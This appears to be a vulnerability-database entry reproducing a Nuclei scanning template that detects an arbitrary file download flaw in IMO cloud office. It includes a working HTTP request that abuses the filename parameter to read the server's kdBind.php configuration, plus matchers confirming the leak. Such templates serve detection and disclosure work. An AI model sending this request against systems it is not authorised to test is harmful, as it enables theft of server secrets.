imo-file-download: IMO - Arbitrary File Download

2025-08-01 IMO PoC Public

Description

The imo cloud office can read system sensitive files because the filename parameter of the /file/Placard/upload/Imo_DownLoadUI.php page is not strictly filtered.

PoC

id: imo-file-download

info:
  name: IMO - Arbitrary File Download
  author: ritikchaddha
  severity: high
  description: |
    The imo cloud office can read system sensitive files because the filename parameter of the /file/Placard/upload/Imo_DownLoadUI.php page is not strictly filtered.
  reference:
    - https://forum.butian.net/article/214
  classification:
    cwe-id: CWE-200,CWE-552
  metadata:
    max-request: 2
  tags: imo,file-download,vuln

http:
  - raw:
      - |
        GET /file/Placard/upload/Imo_DownLoadUI.php?cid=1&uid=1&type=1&filename=/OpenPlatform/config/kdBind.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<?php'
          - '$bindInfo = array'
        condition: and

      - type: word
        part: header
        words:
          - "application/octet-stream"
          - "filename=/home/www"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a004630440220041df5b5a8bb1c3155f5344da4e89a16e5946618fde4228adcc7d77aeb0a3e33022068f9fe8be41e246c823fe6196a62bed51d0dc3c8a89259e94ec4067b76a562da:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/imo/imo-file-download.yaml

References

Related Vulnerabilities